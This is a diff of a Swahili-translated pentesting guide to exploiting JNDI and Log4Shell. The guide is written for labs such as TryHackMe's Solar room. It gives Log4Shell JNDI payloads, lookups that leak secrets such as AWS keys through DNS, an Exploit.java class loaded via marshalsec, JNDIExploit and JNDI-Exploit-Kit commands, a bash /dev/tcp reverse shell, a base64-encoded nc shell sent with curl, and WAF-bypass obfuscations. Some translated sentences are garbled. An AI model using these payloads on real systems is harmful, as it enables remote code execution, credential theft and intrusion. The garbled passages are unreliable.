mtu kawaida atahitaji kuzidi Meneja wa Usalama, jambo muhimu pia katika CORBA. +Kwa RMI (Mwito wa Mbali wa Njia), hali ni tofauti kidogo. Kama ilivyo na CORBA, upakiaji wa darasa usiohusika kwa chaguo-msingi umepunguzwa. Kudukua RMI, mtu kawaida atahitaji kuzidi Meneja wa Usalama, jambo muhimu pia katika CORBA. ### LDAP -Kwanza kabisa, tunahitaji kutofautisha kati ya Utafutaji na Uangaliaji.\ +Kwanza kabisa, tunahitaji kutofautisha kati ya Utafutaji na Utafutaji.\ **Utafutaji** utatumia URL kama `ldap://localhost:389/o=JNDITutorial` kutafuta kipengee cha JNDITutorial kutoka kwa seva ya LDAP na **kupata sifa zake**.\ -**Uangaliaji** unalenga **huduma za majina** kwani tunataka kupata **chochote kilichofungwa kwa jina**. +**Utafutaji** unalenga **huduma za majina** kwani tunataka kupata **chochote kilichofungwa kwa jina**. Ikiwa utafutaji wa LDAP uliitwa na **SearchControls.setReturningObjFlag() na `kweli`, kipengee kilichorudiwa kitajengwa upya**. Kwa hivyo, kuna njia kadhaa za kushambulia chaguzi hizi.\ -Mshambuliaji anaweza kuweka sumu kwenye rekodi za LDAP kwa kuingiza mizigo ambayo itatekelezwa kwenye mifumo inayokusanya (yenye manufaa sana kwa **kuambukiza mashine kumi** ikiwa una ufikio wa seva ya LDAP). Njia nyingine ya kutumia hii ni kufanya **shambulio la MitM katika utafutaji wa LDAP** kwa mfano. +Mshambuliaji anaweza kuweka sumu kwenye rekodi za LDAP zikiingiza mizigo ambayo itatekelezwa kwenye mifumo inayokusanya (yenye manufaa sana kwa **kuambukiza mashine kumi** ikiwa una ufikio wa seva ya LDAP). Njia nyingine ya kutumia hii ni kufanya **shambulio la MitM katika utafutaji wa LDAP** kwa mfano. Ikiwa unaweza **kuwezesha programu kutatua URL ya JNDI LDAP**, unaweza kudhibiti LDAP itakayotafutwa, na unaweza kurudisha shambulio (log4shell). @@ -85,9 +93,9 @@ Ikiwa unaweza **kuwezesha programu kutatua URL ya JNDI LDAP**, unaweza kudhibiti ![](<../../.gitbook/assets/image (654) (1) (1) (1).png>) **Shambulio limeorodheshwa** na litadeserialishwa.\ -Ikiwa `trustURLCodebase` ni `kweli`, mshambuliaji anaweza kutoa darasa zake mwenyewe kwenye codebase failure, atahitaji kutumia vipengee katika njia ya darasa. +Ikiwa `trustURLCodebase` ni `kweli`, mshambuliaji anaweza kutoa darasa zake mwenyewe kwenye codebase failure, atahitaji kutumia vitu vya kifaa katika njia ya darasa. -#### Shambulio la Marejeleo ya JNDI +#### Shambulio la Kumbukumbu ya JNDI Ni rahisi kushambulia LDAP hii kwa kutumia **marejeleo ya JavaFactory**: @@ -95,26 +103,26 @@ Ni rahisi kushambulia LDAP hii kwa kutumia **marejeleo ya JavaFactory**: ## Udhaifu wa Log4Shell -Udhaifu unajitokeza katika Log4j kwa sababu inasaidia [**sintaksia maalum**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) katika mfumo wa `${prefix:jina}` ambapo `prefix` ni moja ya [**Utafutaji**](https://logging.apache.org/log4j/2.x/manual/lookups.html) tofauti ambapo `jina` linapaswa kuhesabiwa. Kwa mfano, `${java:version}` ni toleo linalotumika la Java. +Udhaifu unatokana na Log4j kwa sababu inasaidia [**sintaksia maalum**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) katika fomu ya `${prefix:jina}` ambapo `prefix` ni moja ya [**Utafutaji**](https://logging.apache.org/log4j/2.x/manual/lookups.html) tofauti ambapo `jina` inapaswa kuhesabiwa. Kwa mfano, `${java:version}` ni toleo linalotumika la Java. -[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) ilileta kipengele cha Utafutaji wa `jndi`. Kipengele hiki kinawezesha kupata vipengele kupitia JNDI. Kwa kawaida, ufunguo unapewa kiotomatiki kifungwa na `java:comp/env/`. Walakini, ikiwa ufunguo wenyewe una **":"**, kifungwa cha chaguo-msingi hakihusishwi. +[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) ilileta kipengele cha Utafutaji wa `jndi`. Kipengele hiki kinawezesha kupata vipengele kupitia JNDI. Kawaida, ufunguo unapewa kiotomatiki kifungwa na `java:comp/env/`. Walakini, ikiwa ufunguo wenyewe una **":"**, kifungwa cha chaguo-msingi hakihusishwi. Kwa kuwa kuna **: kwenye ufunguo**, kama katika `${jndi:ldap://mfano.com/a}` hakuna kifungwa na **seva ya LDAP inaulizwa kwa kipengee**. Na Utafutaji huu unaweza kutumika katika usanidi wa Log4j pamoja na wakati mistari inalogiwa. -Kwa hivyo, kitu pekee kinachohitajika kupata RCE ni **toleo lenye udhaifu la Log4j linaloprocess habari inayodhibitiwa na mtumiaji**. Na kwa kuwa hii ni maktaba inayotumiwa sana na programu za Java kwa kurekodi habari (pamoja na programu za mtandao) ilikuwa kawaida kuwa na log4j inayorekodi kwa mfano vichwa vya HTTP vilivyopokelewa kama User-Agent. Walakini, log4j **haitumiki kurekodi habari za HTTP pekee bali kuingiza yoyote** na data ambayo mwandishi ameonyesha. +Kwa hivyo, kitu pekee kinachohitajika kupata RCE ni **toleo lenye udhaifu la Log4j linaloprocess habari inayodhibitiwa na mtumiaji**. Na kwa kuwa hii ni maktaba inayotumiwa sana na programu za Java kwa kurekodi habari (pamoja na programu za mtandao) ilikuwa kawaida kuwa na log4j inayorekodi kwa mfano vichwa vya HTTP vilivyopokelewa kama User-Agent. Walakini, log4j **haitumiki kurekodi habari za HTTP pekee bali kuingiza** na data yoyote iliyoonyeshwa na mwandishi. ## Muhtasari wa CVE zinazohusiana na Log4Shell ### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Kali]** -Udhaifu huu ni kasoro muhimu ya **deserialization isiyotegemewa** katika sehemu ya `log4j-core`, ikiaathiri toleo kutoka 2.0-beta9 hadi 2.14.1. Inaruhusu **utekelezaji wa nambari kwa mbali (RCE)**, ikiruhusu wachomaji kuchukua udhibiti wa mifumo. Shida hiyo ilitolewa na Chen Zhaojun kutoka Timu ya Usalama ya Alibaba Cloud na inaathiri fremu mbalimbali za Apache. Mwisho wa awali katika toleo 2.15.0 ulikuwa haujakamilika. Sheria za Sigma kwa ulinzi zinapatikana ([Sheria 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Sheria 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)). +Udhaifu huu ni kasoro muhimu ya **deserialization isiyotegemewa** katika sehemu ya `log4j-core`, ikiaathiri toleo kutoka 2.0-beta9 hadi 2.14.1. Inaruhusu **utekelezaji wa nambari kwa mbali (RCE)**, ikiruhusu wachomaji kuchukua udhibiti wa mifumo. Shida ilitolewa na Chen Zhaojun kutoka Timu ya Usalama ya Alibaba Cloud na inaathiri fremu mbalimbali za Apache. Mwisho wa awali katika toleo 2.15.0 ulikuwa haujakamilika. Sheria za Sigma kwa ulinzi zinapatikana ([Sheria 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Sheria 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)). ### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Kali]** -Awali ilipewa kiwango cha chini lakini baadaye ikaboreshwa kuwa kali, CVE hii ni kasoro ya **Kukataa Huduma (DoS)** inayotokana na marekebisho yasiyokamilika katika 2.15.0 kwa CVE-2021-44228. Inaathiri mipangilio isiyokuwa ya msingi, ikiruhusu wachomaji kusababisha mashambulizi ya DoS kupitia malipo yaliyoundwa kwa ustadi. [Tweets](https://twitter.com/marcioalm/status/1471740771581652995) inaonyesha njia ya kuzidi. Shida hiyo imepatuliwa katika toleo 2.16.0 na 2.12.2 kwa kuondoa mifano ya kutafuta ujumbe na kulemaza JNDI kwa chaguo-msingi. +Awali ilipewa kiwango cha chini lakini baadaye ikaboreshwa kuwa kali, CVE hii ni kasoro ya **Kukataa Huduma (DoS)** inayotokana na marekebisho yasiyokamilika katika 2.15.0 kwa CVE-2021-44228. Inaathiri mipangilio isiyokuwa ya msingi, ikiruhusu wachomaji kusababisha mashambulizi ya DoS kupitia malipo yaliyoundwa kwa ustadi. [Ujumbe wa Twitter](https://twitter.com/marcioalm/status/1471740771581652995) unaonyesha njia ya kuzidi. Shida imepatuliwa katika toleo 2.16.0 na 2.12.2 kwa kuondoa mifano ya kutafuta ujumbe na kulemaza JNDI kwa chaguo-msingi. ### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Juuyu]** -Ikiathiri **matoleo ya Log4j 1.x** katika mipangilio isiyokuwa ya msingi kutumia `JMSAppender`, CVE hii ni kasoro ya deserialization isiyotegemewa. Hakuna marekebisho yanayopatikana kwa tawi la 1.x, ambalo ni mwisho wa maisha, na inapendekezwa kuboresha hadi `log4j-core 2.17.0`. +Ikiathiri **matoleo ya Log4j 1.x** katika mipangilio isiyokuwa ya msingi inayotumia `JMSAppender`, CVE hii ni kasoro ya deserialization isiyotegemewa. Hakuna marekebisho yanayopatikana kwa tawi la 1.x, ambalo ni mwisho wa maisha, na inapendekezwa kuboresha hadi `log4j-core 2.17.0`. ### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Wastani]** @@ -126,7 +134,7 @@ Log4j 2.16.0 ina kasoro ya DoS, ikichochea kutolewa kwa `log4j 2.17.0` kusahihis ### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/) -Ikiathiri toleo la log4j 2.17, CVE hii inahitaji mshambuliaji kudhibiti faili ya usanidi wa log4j. Inahusisha utekelezaji wa nambari za uwezekano kupitia JDBCAppender iliyosanidiwa. Maelezo zaidi yanapatikana katika [chapisho cha blogi ya Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/). +Ikiathiri toleo la log4j 2.17, CVE hii inahitaji mchomaji kudhibiti faili ya usanidi wa log4j. Inahusisha utekelezaji wa nambari za ujanja kupitia JDBCAppender iliyosanidiwa. Maelezo zaidi yanapatikana katika [chapisho cha blogi ya Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/). ## Uchunguzi wa Utekaji wa Log4Shell @@ -140,7 +148,7 @@ Udhaifu huu ni rahisi sana kugundua ikiwa haujalindwa kwa sababu itatuma angalau * `${jndi:ldap://2j4ayo.dnslog.cn}` (ikitumia [dnslog](http://dnslog.cn)) * `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` (ikitumia [huntress](https://log4shell.huntress.com)) -Tafadhali kumbuka **hata kama ombi la DNS linapokelewa haimaanishi programu inaweza kutumiwa** (au hata kuwa na udhaifu), utahitaji jaribu kuitumia. +Tafadhali kumbuka **hata kama ombi la DNS linapokelewa haimaanishi kuwa programu inaweza kutumiwa** (au hata kuwa na udhaifu), utahitaji kujaribu kutumia. {% hint style="info" %} Kumbuka kwamba kwa **kutumia toleo 2.15** unahitaji kuongeza **kizuizi cha ukaguzi wa localhost**: ${jndi:ldap://**127.0.0.1#**...} @@ -154,16 +162,15 @@ find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[ ``` ### **Uhakiki** -Baadhi ya majukwaa yaliyoorodheshwa hapo awali itakuruhusu kuweka data ya kubadilika ambayo itaorodheshwa wakati inapoombwa.\ -Hii inaweza kuwa na manufaa sana kwa mambo 2: +Baadhi ya majukwaa yaliyoorodheshwa hapo awali itakuruhusu kuweka data ya kubadilika ambayo itaorodheshwa wakati inahitajika. Hii inaweza kuwa na manufaa sana kwa mambo 2: * Kwa ajili ya **kuthibitisha** udhaifu -* Kwa ajili ya **kuvuja kwa habari** kwa kutumia udhaifu +* Kwa ajili ya **kuvuja taarifa** kwa kutumia udhaifu -Kwa mfano unaweza kuomba kitu kama:\ -au kama `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** na ikiwa **ombi la DNS linapokelewa na thamani ya variable ya mazingira**, unajua programu ina udhaifu. +Kwa mfano, unaweza kuomba kitu kama:\ +au kama `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** na ikiwa **ombi la DNS linapokelewa na thamani ya mazingira**, unajua programu ina udhaifu. -Maelezo mengine unayoweza kujaribu **kuvuja**: +Taarifa nyingine unaweza kujaribu **kuvuja**: ``` ${env:AWS_ACCESS_KEY_ID} ${env:AWS_CONFIG_FILE} @@ -217,22 +224,22 @@ Any other env variable name that could store sensitive information ### Taarifa za RCE {% hint style="info" %} -Wahudumu wanaotumia toleo la JDK zaidi ya 6u141, 7u131, au 8u121 wamekingwa dhidi ya mwelekeo wa shambulio la upakiaji wa darasa la LDAP. Hii ni kutokana na kulegezwa kwa chaguo la msingi la `com.sun.jndi.ldap.object.trustURLCodebase`, ambayo inazuia JNDI kutoa mzigo wa kijijini kupitia LDAP. Hata hivyo, ni muhimu kufahamu kwamba toleo hizi **hazilindwi dhidi ya mwelekeo wa shambulio la udeserialishaji**. +Wahudumu wanaotumia toleo la JDK zaidi ya 6u141, 7u131, au 8u121 wamekingwa dhidi ya mwelekeo wa shambulio la upakiaji wa darasa la LDAP. Hii ni kutokana na kulegezwa kwa chaguo la msingi la `com.sun.jndi.ldap.object.trustURLCodebase`, ambayo inazuia JNDI kutoa mzigo wa kikodisho cha mbali kupitia LDAP. Hata hivyo, ni muhimu kufahamu kwamba toleo hizi **hazilindwi dhidi ya mwelekeo wa shambulio la udeserialishaji**. -Kwa wachomaji wanaolenga kutumia toleo hizi za JDK za juu, ni muhimu kutumia **kifaa cha kubahatisha** ndani ya programu ya Java. Zana kama ysoserial au JNDIExploit mara nyingi hutumiwa kwa lengo hili. Kinyume chake, kuchomwa kwa toleo za chini za JDK ni rahisi zaidi kwani toleo hizi zinaweza kubadilishwa ili kupakia na kutekeleza darasa lolote. +Kwa wachomaji wanaolenga kutumia toleo hizi za JDK za juu, ni muhimu kutumia **kifaa cha kuaminika** ndani ya programu ya Java. Zana kama ysoserial au JNDIExploit mara nyingi hutumiwa kwa lengo hili. Kinyume chake, kuchomwa kwa toleo za chini za JDK ni rahisi zaidi kwani toleo hizi zinaweza kubadilishwa ili kupakia na kutekeleza darasa lolote. -Kwa **taarifa zaidi** (_kama vikwazo kwenye mwelekeo wa RMI na CORBA_) **angalia sehemu ya Marejeleo ya Kutaja Jina la JNDI iliyopita** au [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/) +Kwa **taarifa zaidi** (_kama vikwazo kwenye mwelekeo wa RMI na CORBA_) **angalia sehemu ya Marejeleo ya Kutaja Jina ya JNDI iliyopita** au [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/) {% endhint %} ### RCE - Marshalsec na mzigo wa desturi -Unaweza kujaribu hili kwenye **kisanduku cha THM:** [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar) +Unaweza kujaribu hii kwenye **kisanduku cha THM:** [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar) -Tumia zana [**marshalsec**](https://github.com/mbechler/marshalsec) (jar toleo linapatikana [**hapa**](https://github.com/RandomRobbieBF/marshalsec-jar)). Hatua hii inathibitisha seva ya rufaa ya LDAP kuelekeza mawasiliano kwenye seva ya HTTP ya pili ambapo shambulio litahifadhiwa: +Tumia zana [**marshalsec**](https://github.com/mbechler/marshalsec) (toleo la jar linalopatikana [**hapa**](https://github.com/RandomRobbieBF/marshalsec-jar)). Hatua hii inathibitisha seva ya rufaa ya LDAP kuelekeza mawasiliano kwenye seva ya HTTP ya pili ambapo shambulio litahifadhiwa: ```bash java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://:8000/#Exploit" ``` -Ili kumshawishi lengo kuchukua msimbo wa kitanzi cha nyuma, tengeneza faili ya Java iliyoitwa `Exploit.java` na yaliyomo hapa chini: +Ili kumshawishi lengo kuchukue nambari ya kugeuza, tengeneza faili ya Java iliyoitwa `Exploit.java` na yaliyomo hapa chini: ```java public class Exploit { static { @@ -246,7 +253,7 @@ e.printStackTrace(); ``` Kamilisha faili ya Java kuwa faili ya darasa kwa kutumia: `javac Exploit.java -source 8 -target 8`. Kisha anzisha **server ya HTTP** katika saraka inayohifadhi faili ya darasa kwa kutumia: `python3 -m http.server`. Hakikisha **server ya LDAP ya marshalsec** inahusisha server ya HTTP hii. -Chokoza utekelezaji wa darasa la exploit kwenye server ya wavuti inayoweza kudhurika kwa kutuma mzigo unaofanana na: +Chochote kile kinachofanana na: ```bash ${jndi:ldap://:1389/Exploit} ``` @@ -260,7 +267,7 @@ Tafadhali elewa kwamba kwa sababu fulani mwandishi aliiondoa mradi huu kutoka gi Zaidi ya hayo, huwezi kupata msimbo wa chanzo kwenye wayback machine, hivyo chambua msimbo wa chanzo, au tekeleza jar ukiwa na ufahamu kwamba hujui unachotekeleza. {% endhint %} -Kwa mfano huu unaweza tu kuendesha **mtandao huu wenye udhaifu wa log4shell** kwenye bandari 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_kwenye README utapata jinsi ya kuendesha_). Programu hii yenye udhaifu inalogi kwa kutumia toleo lenye udhaifu la log4shell maudhui ya kichwa cha ombi la HTTP _X-Api-Version_. +Kwa mfano huu unaweza tu kuendesha **mtandao huu wenye udhaifu wa log4shell** kwenye bandari 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_katika README utapata jinsi ya kuendesha_). Programu hii yenye udhaifu inalogi na toleo lenye udhaifu la log4shell maudhui ya kichwa cha ombi la HTTP _X-Api-Version_. Kisha, unaweza kupakua faili ya jar ya **JNDIExploit** na kuitekeleza kwa: ```bash @@ -269,9 +276,9 @@ unzip JNDIExploit.v1.2.zip java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access ``` Baada ya kusoma nambari kwa dakika chache tu, katika _com.feihong.ldap.LdapServer_ na _com.feihong.ldap.HTTPServer_ unaweza kuona jinsi **seva za LDAP na HTTP zinavyoundwa**. Seva ya LDAP itaelewa ni mzigo gani unahitaji kutumikia na itamwongoza muathiriwa kwenye seva ya HTTP, ambayo itatumikia shambulio.\ -Katika _com.feihong.ldap.gadgets_ unaweza kupata **gadgets maalum** ambayo yanaweza kutumika kutekeleza hatua inayotakiwa (kimsingi kutekeleza nambari ya kupindukia). Na katika _com.feihong.ldap.template_ unaweza kuona darasa tofauti za templeti ambazo zitakazosaidia **kuzalisha mashambulizi**. +Katika _com.feihong.ldap.gadgets_ unaweza kupata **gadgets maalum** ambayo yanaweza kutumika kutekeleza hatua inayotakiwa (kimsingi kutekeleza nambari ya kupindukia). Na katika _com.feihong.ldap.template_ unaweza kuona darasa tofauti za templeti ambazo zit **zitazalisha mashambulizi**. -Unaweza kuona mashambulizi yote yanayopatikana kwa kutumia **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Baadhi ya mashambulizi yanayoweza kusaidia ni: +Unaweza kuona mashambulizi yote yanayopatikana kwa **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Baadhi ya mashambulizi yanayoweza kusaidia ni: ```bash ldap://null:1389/Basic/Dnslog/[domain] ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd] @@ -287,13 +294,13 @@ curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Comma curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}' curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}' ``` -Uponyesho wa mashambulizi utaona baadhi ya matokeo kwenye terminal ambapo ulitekeleza **JNDIExploit-1.2-SNAPSHOT.jar**. +Wakati unatuma mashambulizi utaona baadhi ya matokeo kwenye terminal ambapo ulitekeleza **JNDIExploit-1.2-SNAPSHOT.jar**. -**Kumbuka kuangalia `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` kwa chaguo zingine za uchimbaji. Zaidi ya hayo, kwa hali unayohitaji, unaweza kubadilisha bandari ya seva za LDAP na HTTP.** +**Kumbuka kuangalia `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` kwa chaguo zingine za uchomaji. Zaidi ya hayo, kama unahitaji, unaweza kubadilisha bandari ya seva za LDAP na HTTP.** ### RCE - JNDI-Exploit-Kit -Kwa njia kama ile ya shambulizi lililopita, unaweza kujaribu kutumia [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) kuchimba udhaifu huu.\ +Kwa njia kama ile ya uchomaji uliopita, unaweza kujaribu kutumia [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) kuchexploit udhaifu huu.\ Unaweza kuzalisha URL za kutuma kwa muathiriwa kwa kukimbia: ```bash # Get reverse shell in port 4444 (only unix) @@ -302,24 +309,24 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172. # Execute command java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell" ``` -_Kushambulia hii kutumia kitu cha Java kilichotengenezwa kwa kawaida kitafanya kazi katika maabara kama **chumba cha jua cha THM**. Walakini, hii kwa kawaida haitafanya kazi (kwa sababu kwa chaguo-msingi Java haijaundwa kwa kusoma msimbo wa mbali kwa kutumia LDAP) nadhani kwa sababu haichukui darasa lililoaminika kutekeleza msimbo wowote kiholela._ +_Kushambulia hii kutumia kitu cha Java kilichotengenezwa kwa kawaida kitafanya kazi katika maabara kama **chumba cha jua cha THM**. Walakini, hii kwa kawaida haitafanya kazi (kwa sababu kwa chaguo-msingi Java haijaundwa kwa ajili ya kupakia msingi wa kanuni kutumia LDAP) nadhani kwa sababu haikosi kutumia darasa lililoidhinishwa kutekeleza kanuni za kupindukia._ ### RCE - ysoserial & JNDI-Exploit-Kit -Chaguo hili ni muhimu sana kushambulia **toleo la Java lililojulishwa kuamini darasa maalum na sio kila mtu**. Kwa hivyo, **ysoserial** itatumika kutengeneza **serializations za darasa zilizoaminika** ambazo zinaweza kutumika kama vifaa vya **kutekeleza msimbo kiholela** (_darasa lililoaminika lililoshambuliwa na ysoserial lazima litumiwe na programu ya Java ya mwathiriwa ili shambulio lifanye kazi_). +Chaguo hili ni muhimu sana kushambulia **toleo la Java lililojengwa kwa kudhamini darasa maalum na sio kila mtu**. Kwa hivyo, **ysoserial** itatumika kutengeneza **uwekaji wa darasa za kuaminika** ambazo zinaweza kutumika kama vifaa vya **kutekeleza kanuni za kupindukia** (_darasa lililoidhinishwa na ysoserial lazima litumiwe na programu ya Java ya mwathiriwa ili shambulio lifanye kazi_). -Kwa kutumia **ysoserial** au [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) unaweza kuunda shambulio la deserialization ambalo litapakuliwa na JNDI: +Kwa kutumia **ysoserial** au [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) unaweza kuunda shambulio la uwekaji wa deserialization ambalo litapakuliwa na JNDI: ```bash # Rev shell via CommonsCollections5 java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser ``` -Tumia [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) kuzalisha **viungo vya JNDI** ambapo shambulio litakuwa linasubiri mawasiliano kutoka kwenye mashine zilizo hatarini. Unaweza kutumia **shambulio tofauti ambalo linaweza kuzalishwa moja kwa moja** na JNDI-Exploit-Kit au hata **mizigo yako ya deserialization mwenyewe** (zilizozalishwa na wewe au ysoserial). +Tumia [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) kuzalisha **viungo vya JNDI** ambapo shambulio litakuwa linasubiri mawasiliano kutoka kwenye mashine zilizo hatarini. Unaweza kutumikia **shambulio tofauti ambalo linaweza kuzalishwa moja kwa moja** na JNDI-Exploit-Kit au hata **mizigo yako ya deserialization mwenyewe** (iliyozalishwa na wewe au ysoserial). ```bash java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser ``` ![](<../../.gitbook/assets/image (642) (1) (1).png>) -Sasa unaweza kutumia kiungo cha JNDI kilichozalishwa kwa urahisi kudukua udhaifu na kupata **reverse shell** kwa kutuma kwa toleo lenye udhaifu la log4j: **`${ldap://10.10.14.10:1389/generated}`** +Sasa unaweza kutumia kiungo cha JNDI kilichozalishwa kwa urahisi kuchexploitisha udhaifu na kupata **reverse shell** kwa kutuma kwa toleo lenye udhaifu la log4j: **`${ldap://10.10.14.10:1389/generated}`** ### Kupitisha mfumo ```java @@ -342,28 +349,28 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i" * [https://github.com/Qualys/log4jscanwin](https://github.com/Qualys/log4jscanwin) * [https://github.com/hillu/local-log4j-vuln-scanner](https://github.com/hillu/local-log4j-vuln-scanner) * [https://github.com/logpresso/CVE-2021-44228-Scanner](https://github.com/logpresso/CVE-2021-44228-Scanner) -* [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Tafuta maktaba za hatari za ndani +* [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Pata maktaba zilizo hatarini kwa upande wa ndani ### Maabara za Jaribio -* [**Mashine ya HTB ya LogForge**](https://app.hackthebox.com/tracks/UHC-track) -* [**Chumba cha Solar cha Jaribio la Try Hack Me**](https://tryhackme.com/room/solar) +* [**Mashine ya LogForge HTB**](https://app.hackthebox.com/tracks/UHC-track) +* [**Jaribio la Chumba cha Solar la Try Hack Me**](https://tryhackme.com/room/solar) * [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn) * [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app) ## Baada ya Kutumia Log4Shell -Katika [**makala ya CTF**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) hii inaelezea vizuri jinsi inavyoweza **kutumika** kwa **mabaya** baadhi ya vipengele vya **Log4J**. +Katika [**makala ya CTF**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) hii inaelezea vizuri jinsi inavyoweza **kufanyika** kutumia baadhi ya vipengele vya **Log4J**. Ukurasa wa [**usalama**](https://logging.apache.org/log4j/2.x/security.html) wa Log4j una sentensi za kuvutia: -> Kutoka toleo la 2.16.0 (kwa Java 8), **kifaa cha kutafuta ujumbe kimeondolewa kabisa**. **Tafuta katika usanidi bado inafanya kazi**. Zaidi ya hayo, Log4j sasa inazima ufikiaji wa JNDI kwa chaguo-msingi. Utafutaji wa JNDI katika usanidi sasa unahitaji kuwezeshwa kwa uwazi. +> Kutoka kwenye toleo la 2.16.0 (kwa Java 8), **kipengele cha kutafuta ujumbe kimeondolewa kabisa**. **Utafutaji kwenye usanidi bado unafanya kazi**. Zaidi ya hayo, Log4j sasa inazima ufikiaji wa JNDI kwa chaguo-msingi. Utafutaji wa JNDI kwenye usanidi sasa unahitaji kuwezeshwa kwa uwazi. -> Kutoka toleo la 2.17.0, (na 2.12.3 na 2.3.1 kwa Java 7 na Java 6), **maneno ya kutafuta katika usanidi yanapanuliwa kwa njia ya kurudufu tu**; katika matumizi mengine yoyote, utafutaji wa ngazi ya juu tu unatatuliwa, na utafutaji wowote uliojumuishwa haufanyi kazi. +> Kutoka kwenye toleo la 2.17.0, (na 2.12.3 na 2.3.1 kwa Java 7 na Java 6), **maneno ya utafutaji kwenye usanidi yanapanuliwa kwa njia ya kurudufu tu**; katika matumizi mengine yoyote, utafutaji wa ngazi ya juu tu unatatuliwa, na utafutaji wowote ulioingizwa kwa ndani hautatatuliwa. -Hii inamaanisha kwamba kwa chaguo-msingi huwezi **kutumia shambulio lolote la `jndi`**. Zaidi ya hayo, ili kufanya **utafutaji wa kurudufu** unahitaji kuwa umeweka mipangilio hiyo. +Hii inamaanisha kwamba kwa chaguo-msingi unaweza **kusahau kutumia shambulio la `jndi`**. Zaidi ya hayo, ili kufanya **utafutaji wa kurudufu** unahitaji kuwa umewezesha. -Kwa mfano, katika CTF hiyo ilikuwa imepangiliwa katika faili log4j2.xml: +Kwa mfano, katika CTF hiyo ilikuwa imeboreshwa kwenye faili log4j2.xml: ```xml @@ -372,31 +379,31 @@ Kwa mfano, katika CTF hiyo ilikuwa imepangiliwa katika faili log4j2.xml: ``` ### Utafutaji wa Mazingira -Katika [CTF hii](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/), muhusika alidhibiti thamani ya `${sys:cmd}` na alihitaji kuchota bendera kutoka kwa mazingira ya pembejeo.\ -Kama ilivyoonekana kwenye ukurasa huu katika [**mizigo iliyopita**](jndi-java-naming-and-directory-interface-and-log4shell.md#uthibitisho) kuna njia tofauti 